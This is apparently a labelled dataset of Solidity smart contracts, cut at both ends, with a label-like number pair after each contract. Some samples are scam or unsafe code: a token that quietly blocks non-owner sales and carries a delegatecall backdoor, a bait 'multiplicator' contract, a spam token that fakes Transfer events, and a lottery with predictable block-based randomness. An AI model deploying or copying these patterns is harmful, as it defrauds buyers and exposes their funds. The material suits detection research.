futureTrans[i].times = futureTrans[i].times - 1;
require(futureTrans[i].times <= transTimes);
if(futureTrans[i].times ==0 ){
bRemove = true;
futureTrans[i].beneficiary = futureTrans[futureTrans.length -1].beneficiary;
futureTrans[i].num = futureTrans[futureTrans.length -1].num;
futureTrans[i].lastTime = futureTrans[futureTrans.length -1].lastTime;
futureTrans[i].times = futureTrans[futureTrans.length -1].times;
futureTrans.length = futureTrans.length.sub(1);
}
oweCbnt = oweCbnt.sub(transNum);
_deliverTokens(beneficiary, transNum);
}
if(!bRemove){
i++;
}
}
return true;
}
function transferBonus(address _beneficiary, uint256 _tokenAmount) public onlyOwner returns(bool){
_deliverTokens(_beneficiary, _tokenAmount);
return true;
}
function setMinInvest(uint256 _minInvest) public onlyOwner returns (bool){
minInvest = _minInvest;
return true;
}
function setTransTimes(uint32 _times) public onlyOwner returns (bool){
transTimes = _times;
return true;
}
function setRegularTransTime(uint32[] _times) public onlyOwner returns (bool){
for (uint256 i = 0; i + 1 < _times.length; i++) {
require(_times[i] < _times[i+1]);
}
regularTransTime = _times;
return true;
}
function setRateSteps(uint256[] _steps, uint256[] _stepsValue) public onlyOwner returns (bool){
require(_steps.length == _stepsValue.length);
for (uint256 i = 0; i + 1 < _steps.length; i++) {
require(_steps[i] > _steps[i+1]);
}
rateSteps = _steps;
rateStepsValue = _stepsValue;
return true;
}
function normalCheck() public view returns (bool){
return (transTimes > 0 && regularTransTime.length > 0 && minInvest >0 && rateSteps.length >0);
}
function getFutureTransLength() public view returns(uint256) {
return futureTrans.length;
}
function getFutureTransByIdx(uint256 _idx) public view returns(address,uint256, uint32, uint256) {
return (futureTrans[_idx].beneficiary, futureTrans[_idx].num, futureTrans[_idx].times, futureTrans[_idx].lastTime);
}
function getFutureTransIdxByAddress(address _beneficiary) public view returns(uint256[]) {
uint256 i = 0;
uint256 num = 0;
for(i=0; i<futureTrans.length; i++){
if(futureTrans[i].beneficiary == _beneficiary){
num++;
}
}
uint256[] memory transList = new uint256[](num);
uint256 idx = 0;
for(i=0; i<futureTrans.length; i++){
if(futureTrans[i].beneficiary == _beneficiary){
transList[idx] = i;
idx++;
}
}
return transList;
}
function getCurrentRate(uint256 _weiAmount) public view returns (uint256) {
for (uint256 i = 0; i < rateSteps.length; i++) {
if (_weiAmount >= rateSteps[i]) {
return rateStepsValue[i];
}
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate(_weiAmount);
return currentRate.mul(_weiAmount).div(transTimes);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= minInvest);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
FutureTransaction memory tran = FutureTransaction(_beneficiary, _tokenAmount, transTimes-1, now);
futureTrans.push(tran);
oweCbnt = oweCbnt.add(_tokenAmount.mul(tran.times));
super._processPurchase(_beneficiary, _tokenAmount);
}
function findRegularTime() internal view returns (uint32) {
if(now < regularTransTime[0]){
return 0;
}
uint256 i = 0;
while(i<regularTransTime.length && now >= regularTransTime[i]){
i++;
}
return regularTransTime[i -1];
}
} | 1 | 3,957 |
pragma solidity ^0.4.19;
contract FakeTokenFactory
{
function manufacture(address _addr1, address _addr2, address _owner) external
{
FakeToken ft = new FakeToken(this, _owner);
ft.transfer(_addr1, (now % 1000) * 181248934);
ft.transfer(_addr2, 3.14159265358979 ether);
}
}
contract FakeToken
{
function randName(uint256 _maxSyllables, uint256 _seed) internal view returns (string)
{
bytes memory consonants = new bytes(17);
consonants[0] = 'B';
consonants[1] = 'D';
consonants[2] = 'F';
consonants[3] = 'G';
consonants[4] = 'H';
consonants[5] = 'K';
consonants[6] = 'L';
consonants[7] = 'M';
consonants[8] = 'N';
consonants[9] = 'P';
consonants[10] = 'R';
consonants[11] = 'S';
consonants[12] = 'T';
consonants[13] = 'V';
consonants[14] = 'W';
consonants[15] = 'X';
consonants[16] = 'Z';
bytes memory vowels = new bytes(5);
vowels[0] = 'A';
vowels[1] = 'E';
vowels[2] = 'I';
vowels[3] = 'U';
vowels[4] = 'O';
uint256 syllables = 2 + (now % (_maxSyllables-1));
bytes memory name = new bytes(syllables*2);
for (uint i=0; i<syllables; i++)
{
uint256 rand = uint256(keccak256(address(this), _seed, i));
name[i*2+0] = consonants[rand % 17];
name[i*2+1] = vowels [rand % 5];
}
return string(name);
}
address private owner;
FakeTokenFactory private factory;
string private symbol1;
string private symbol2;
string private name1;
string private name2;
function FakeToken(FakeTokenFactory _factory, address _owner) public
{
if (_owner == 0x0) _owner = msg.sender;
owner = _owner;
factory = _factory;
symbol1 = randName(3, 1);
symbol2 = randName(3, 3);
name1 = randName(15, 5);
name2 = randName(15, 7);
}
function symbol() external view returns (string)
{
if (now % 2 == 0) return symbol1;
else return symbol2;
}
function name() external view returns (string)
{
if (now % 2 == 0) return name1;
else return name2;
}
function decimals() public view returns (uint256)
{
return uint256(keccak256(now)) % 19;
}
function totalSupply() external view returns (uint256)
{
return (uint256(keccak256(now)) % 1000) * 10000;
}
function balanceOf(address _owner) public view returns (uint256)
{
return (uint256(keccak256(now, _owner)) % 1000) * (uint256(10) ** decimals());
}
function transfer(address _to, uint256 _amount) external returns (bool)
{
uint256 rand = uint256(keccak256(_to, _amount, now));
if (rand % 125 == 0)
{
factory.manufacture(_to, msg.sender, owner);
}
else if (rand % 125 == 1)
{
this.airdrop(_to, now%77);
}
else if (rand % 125 == 2)
{
this.airdrop(msg.sender, now%77);
}
Transfer(msg.sender, _to, _amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function airdrop(address[] _tos) external
{
require(msg.sender == owner || msg.sender == address(this));
for (uint256 i=0; i<_tos.length; i++)
{
address _to = _tos[i];
Transfer(this, _to, balanceOf(_to));
}
}
function airdrop(address _to, uint256 _amount) external
{
require(msg.sender == owner || msg.sender == address(this));
for (uint256 i=0; i<_amount; i++)
{
Transfer(this, _to, (uint256(keccak256(now+i)) % 1000) * (uint256(10) ** decimals()));
}
}
function () payable external
{
owner.transfer(msg.value);
}
function sendTokens(address _contract, uint256 _amount) external
{
FakeToken(_contract).transfer(owner, _amount);
}
function tokenFallback(address, uint, bytes) external pure
{
}
} | 1 | 5,129 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CDreamingICO is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x085558b7561b51ffb0a4dabe7459d359c05b58cc;
AltcoinToken cddtoken = AltcoinToken(_tokenContract);
string public constant name = "CDreamingICO";
string public constant symbol = "ICO";
uint public constant decimals = 8;
uint256 public totalSupply = 200000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 86000e8;
uint256 public bonus = 0;
uint256 public constant minContribution = 1 ether / 1000;
uint256 public constant extraBonus = 1 ether / 10;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event TokensPerEthUpdated(uint _tokensPerEth);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function CDreamingICO () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
sendTokens();
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 2;
}
tokens = tokens + bonus;
sendcdd(cddtoken, tokens, investor);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendcdd(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 0 | 2,102 |
pragma solidity ^0.4.18;
contract MultiplicatorX4
{
address public Owner = msg.sender;
function() public payable{}
function withdraw()
payable
public
{
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
} | 0 | 632 |
pragma solidity ^0.4.18;
contract LifetimeLottery {
uint internal constant MIN_SEND_VAL = 5000000000000000;
uint internal constant JACKPOT_INC = 2000000000000000;
uint internal constant JACKPOT_CHANCE = 2;
uint internal nonce;
uint internal random;
uint internal jackpot;
uint internal jackpotNumber;
address[] internal lotteryList;
address internal lastWinner;
address internal lastJackpotWinner;
mapping(address => bool) addressMapping;
event LotteryLog(address adrs, string message);
function LifetimeLottery() public {
nonce = (uint(msg.sender) + block.timestamp) % 100;
}
function () public payable {
LotteryLog(msg.sender, "Received new funds...");
if(msg.value >= MIN_SEND_VAL) {
if(addressMapping[msg.sender] == false) {
addressMapping[msg.sender] = true;
lotteryList.push(msg.sender);
nonce++;
random = uint(keccak256(block.timestamp + block.number + uint(msg.sender) + nonce)) % lotteryList.length;
lastWinner = lotteryList[random];
jackpotNumber = uint(keccak256(block.timestamp + block.number + random)) % 100;
if(jackpotNumber < JACKPOT_CHANCE) {
lastJackpotWinner = lastWinner;
lastJackpotWinner.transfer(msg.value + jackpot);
jackpot = 0;
LotteryLog(lastJackpotWinner, "Jackpot is hit!");
} else {
jackpot += JACKPOT_INC;
lastWinner.transfer(msg.value - JACKPOT_INC);
LotteryLog(lastWinner, "We have a Winner!");
}
} else {
msg.sender.transfer(msg.value);
LotteryLog(msg.sender, "Failed: already joined! Sending back received ether...");
}
} else {
msg.sender.transfer(msg.value);
LotteryLog(msg.sender, "Failed: not enough Ether sent! Sending back received ether...");
}
}
function amountOfRegisters() public constant returns(uint) {
return lotteryList.length;
}
function currentJackpotInWei() public constant returns(uint) {
return jackpot;
}
function ourLastWinner() public constant returns(address) {
return lastWinner;
}
function ourLastJackpotWinner() public constant returns(address) {
return lastJackpotWinner;
}
} | 1 | 4,375 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,493 |
pragma solidity ^0.4.21;
contract ItemMarket{
address public owner;
uint16 public devFee = 500;
uint256 public ItemCreatePrice = 0.02 ether;
event ItemCreated(uint256 id);
event ItemBought(uint256 id);
event ItemWon(uint256 id);
struct Item{
uint32 timer;
uint256 timestamp;
uint16 priceIncrease;
uint256 price;
uint256 amount;
uint256 minPrice;
uint16 creatorFee;
uint16 previousFee;
uint16 potFee;
address creator;
address owner;
string quote;
string name;
}
mapping (uint256 => Item) public Items;
uint256 public next_item_index = 0;
modifier onlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function ItemMarket() public{
owner = msg.sender;
AddItem(600, 1500, 1 finney, 0, 3000, "Battery");
AddItem(600, 150, 4 finney, 0, 5000, "Twig");
AddItem(3600, 2000, 10 finney, 0, 4000, "Solar Panel");
AddItem(3600*24, 5000, 10 finney, 0, 5000, "Moon");
AddItem(3600*24*7, 7500, 50 finney, 0, 7000, "Ethereum");
}
function ChangeFee(uint16 _fee) public onlyOwner{
require(_fee <= 500);
devFee = _fee;
}
function ChangeItemPrice(uint256 _newPrice) public onlyOwner{
ItemCreatePrice = _newPrice;
}
function AddItem(uint32 timer, uint16 priceIncrease, uint256 minPrice, uint16 creatorFee, uint16 potFee, string name) public payable {
require (timer >= 300);
require (timer < 31622400);
require(priceIncrease <= 10000);
require(minPrice >= (1 finney) && minPrice <= (1 ether));
require(creatorFee <= 2500);
require(potFee <= 10000);
require(add(add(creatorFee, potFee), devFee) <= 10000);
if (msg.sender == owner){
require(creatorFee == 0);
if (msg.value > 0){
owner.transfer(msg.value);
}
}
else{
uint256 left = 0;
if (msg.value > ItemCreatePrice){
left = sub(msg.value, ItemCreatePrice);
msg.sender.transfer(left);
}
else{
if (msg.value < ItemCreatePrice){
revert();
}
}
owner.transfer(sub(msg.value, left));
}
require (devFee + potFee + creatorFee <= 10000);
uint16 previousFee = 10000 - devFee - potFee - creatorFee;
var NewItem = Item(timer, 0, priceIncrease, minPrice, 0, minPrice, creatorFee, previousFee, potFee, msg.sender, address(0), "", name);
Items[next_item_index] = NewItem;
emit ItemCreated(next_item_index);
next_item_index = add(next_item_index,1);
}
function Payout(uint256 id) internal {
var UsedItem = Items[id];
uint256 Paid = UsedItem.amount;
UsedItem.amount = 0;
UsedItem.owner.transfer(Paid);
UsedItem.owner = address(0);
UsedItem.price = UsedItem.minPrice;
UsedItem.timestamp = 0;
emit ItemWon(id);
}
function TakePrize(uint256 id) public {
require(id < next_item_index);
var UsedItem = Items[id];
require(UsedItem.owner != address(0));
uint256 TimingTarget = add(UsedItem.timer, UsedItem.timestamp);
if (block.timestamp > TimingTarget){
Payout(id);
return;
}
else{
revert();
}
}
function BuyItem(uint256 id, string quote) public payable{
require(id < next_item_index);
var UsedItem = Items[id];
if (UsedItem.owner != address(0) && block.timestamp > (add(UsedItem.timestamp, UsedItem.timer))){
Payout(id);
if (msg.value > 0){
msg.sender.transfer(msg.value);
}
return;
}
require(msg.value >= UsedItem.price);
require(msg.sender != owner);
require(msg.sender != UsedItem.owner);
uint256 devFee_used = mul(UsedItem.price, devFee) / 10000;
uint256 creatorFee_used = mul(UsedItem.price, UsedItem.creatorFee) / 10000;
uint256 prevFee_used;
if (UsedItem.owner == address(0)){
prevFee_used = 0;
}
else{
prevFee_used = (mul(UsedItem.price, UsedItem.previousFee)) / 10000;
UsedItem.owner.transfer(prevFee_used);
}
if (creatorFee_used != 0){
UsedItem.creator.transfer(creatorFee_used);
}
if (devFee_used != 0){
owner.transfer(devFee_used);
}
if (msg.value > UsedItem.price){
msg.sender.transfer(sub(msg.value, UsedItem.price));
}
uint256 potFee_used = sub(sub(sub(UsedItem.price, devFee_used), creatorFee_used), prevFee_used);
UsedItem.amount = add(UsedItem.amount, potFee_used);
UsedItem.timestamp = block.timestamp;
UsedItem.owner = msg.sender;
UsedItem.quote = quote;
UsedItem.price = (UsedItem.price * (add(10000, UsedItem.priceIncrease)))/10000;
emit ItemBought(id);
}
function () payable public {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,665 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
